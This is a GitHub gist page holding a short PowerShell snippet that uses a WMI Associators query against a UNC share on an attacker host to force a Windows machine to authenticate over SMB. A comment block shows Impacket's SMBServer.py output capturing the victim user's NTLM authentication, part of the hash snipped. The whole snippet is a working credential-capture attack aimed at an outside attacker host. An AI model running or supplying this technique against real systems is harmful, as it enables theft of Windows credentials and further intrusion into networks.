-
-
Save johnjohnsp1/7bcec575e6b0c391f8c7 to your computer and use it in GitHub Desktop.
Using a WMI Query to be able to capture credentials
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $share = "\\192.168.1.245\share" | |
| $query = "Associators of {win32_LogicalShareSecuritySetting='$share'}" | |
| Get-WmiObject -query $query | |
| <# | |
| Obtained using Impacket's SMBServer.py example | |
| Attacker: 192.168.1.245 | |
| Victim: 192.168.1.100 | |
| Result: | |
| [*] Incoming connection (192.168.1.100,55482) | |
| [*] AUTHENTICATE_MESSAGE (SITTINGDUCK\UBERUSER) | |
| [*] User SITTINGDUCK\UBERUSER authenticated successfully | |
| [*] mubix::pirateking:4141414141414141:(snipped out auth) | |
| [*] NetrGetShareInfo Level: 503 | |
| [*] Disconnecting Share(1:IPC$) | |
| [*] Handle: [Errno 54] Connection reset by peer | |
| [*] Closing down connection (192.168.1.100,55482) | |
| [*] Remaining connections [] | |
| #> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment